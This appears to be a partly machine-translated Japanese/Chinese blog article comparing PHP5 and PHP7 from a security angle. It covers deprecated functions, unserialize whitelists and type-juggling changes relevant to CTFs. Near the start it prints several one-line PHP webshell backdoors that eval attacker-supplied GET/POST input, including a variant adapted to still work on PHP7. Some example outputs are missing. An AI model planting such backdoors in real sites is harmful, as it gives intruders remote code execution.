関数の変更
preg_replace() は /e 修飾子をサポートしなくなりました
<?php preg_replace("/.*/e",$_GET["h"],"."); ?>
誰もが \e 修飾子を使用してコードを実行しますバックドア 私はよく使ってきました。詳しくは公式の説明を参照してください:
如果设置了这个被弃用的修饰符, preg_replace() 在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 函数方式),并使用执行结果 作为实际参与替换的字符串。单引号、双引号、反斜线()和 NULL 字符在 后向引用替换时会被用反斜线转义.
残念ながら、 \e 修飾子は PHP7 以降のバージョンではサポートされなくなりました。新しい関数 preg_replace_callback:
推奨マニュアル: PHP7 新機能マニュアル
ここでは、ちょっとした工夫でバックドアとして使用できます。変更:
<?php preg_replace_callback("/.*/",function ($a){@eval($a[0]);},$_GET["h"]); ?>
create_function() は放棄されました
<?php $func =create_function('',$_POST['cmd']);$func(); ?>
バックドアとして使用できる関数が 1 つ減りました。実際、これは eval を実行することで実装されます。必要不可欠です。
Mysql_* シリーズのメンバーは削除されました
PHP7 で古いバージョンの mysql_* シリーズの関数を使用したい場合は、追加の関数を自分でインストールする必要があります。公式 Web サイトはここにありません。はい、現在公式で推奨されているのは mysqli または pdo_mysql です。これは、将来、PHP における SQL インジェクションの脆弱性が大幅に減少することを示していますか?~
我已经很久没在目标站上挖到过sql注入了,全都是预编译!
unserialize() は、オプションのホワイトリスト パラメータを追加します
$data = unserialize($serializedObj1 , ["allowed_classes" => true]); $data2 = unserialize($serializedObj2 , ["allowed_classes" => ["MyClass1", "MyClass2"]]);
は、実際にはホワイトリスト リストです。逆シリアル化されたデータ内のクラス名がこのホワイト リストにない場合、エラーが報告されます。
#エラー報告は次のとおりです。 クラス名またはブール値データを指定できます。FALSE の場合、すべてのオブジェクトが __PHP_Incomplete_Class オブジェクトに変換されます。 TRUE は無制限です。クラス名を渡してホワイトリストを実装することもできます。还好现在是可选不是必选,要是默认FALSE逼程序员弄白名单那就真的吐血了。
assert() はデフォルトでコードを実行できなくなりました
これが、多くの馬が使用できない原因です。コードを実行するためにassert()を使用する馬が多すぎます。 . 、この更新は基本的にグループ全体を消去します。通常の状況では、これを eval に変更すると正常に実行できます~構文の変更
foreach は変更されなくなりました内部配列ポインタ
<?php $a = array('1','2','3'); foreach ($a as $k=>&$n){ echo ""; } print_r($a); foreach ($a as $k=>$n){ echo ""; } print_r($a);
php5 のこのようなコードの実行結果は次のとおりです。
Because the last element of配列 $value 参照は foreach ループ後も保持され、2 番目のループでは、前のポインターが実際に継続的に割り当てられます。 php7 で値によるトラバースを行う場合、操作の値は配列のコピーであり、後続の操作には影響しません。 この変更は、PHP7 では使用できないいくつかの cms ホールに影響します...私がどのホールについて言及しているかはわかります。这个问题在PHP7.0.0以后的版本又被改回去了,只影响这一个版本。
8 進数文字のフォールト トレランス率が低下します
php5 バージョンでは、8 進数文字に無効な数字が含まれている場合、無効な数字は警告なしに切り捨てられます。<?php echo octdec( '012999999999999' ) . "\n"; echo octdec( '012' ) . "\n"; if (octdec( '012999999999999' )==octdec( '012' )){ echo ": )". "\n"; }
php5 でのこのコードの実行結果は次のとおりです:
ただし、解析エラーが発生します。 php7で。这个问题同样在PHP7.0.0以后的版本又被改回去了,只影响这一个版本。
16 進文字列は数値とみなされなくなりました
この変更が行われると、将来的には CTF ルーチンが大幅に減少します~多くのクールな操作はもう使用できません~これについては何も言うことはありません、誰もがそれを知っています。<?php var_dump("0x123" == "291"); var_dump(is_numeric("0x123")); var_dump("0xe" + "0x1"); var_dump(substr("foo", "0x1")); ?>
上記のコードを PHP5 で実行した結果は次のとおりです。
PHP7 の実行結果は次のとおりです。次のように:
你以为我要说这个在后续版本被改回去了?不,目前截至最新的PHP7.3版本依然没有改回去的征兆,官方称不会在改了。这个讲道理还是蛮伤的。
ASP タグとスクリプト PHP タグを削除しました
今字面意思,影响其实不是很大(只是以后骚套路会少一点)。
オーバーサイズ浮動小数点数型変換の切り捨て
浮動小数点数を整数に変換する際、浮動小数点値が大きすぎて整数として表現できない場合, PHP5 バージョンでは、変換によって整数が直接切り捨てられるため、エラーは発生しません。 PHP7ではエラーが報告されます。CTF又少一个出题套路,这个问题我只在CTF上见过,影响应该不大。
その他
exec(), system() passthru()函数对 NULL 增加了保护. list()不再能解开字符串string变量 $HTTP_RAW_POST_DATA 被移除 __autoload() 方法被废弃 parse_str() 不加第二个参数会直接把字符串导入当前的符号表,如果加了就会转换称一个数组。现在是第二个参数是强行选项了。 统一不同平台下的整型长度 session_start() 可以加入一个数组覆盖php.ini的配置
相关文章推荐:
1.php7和php5有什么不同之处?php5与php7之间的对比
2.PHP5.5至PHP7.2 新特性整理
3.php7的垃圾回收和php5有什么区别
相关视频推荐:
1.独孤九贱(4)_PHP视频教程
相关推荐:《PHP教程》
本篇文章就是关于PHP7和PHP5在安全上的区别介绍,希望对需要的朋友有所帮助!
以上がPHP7とPHP5のセキュリティの違い(例)の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。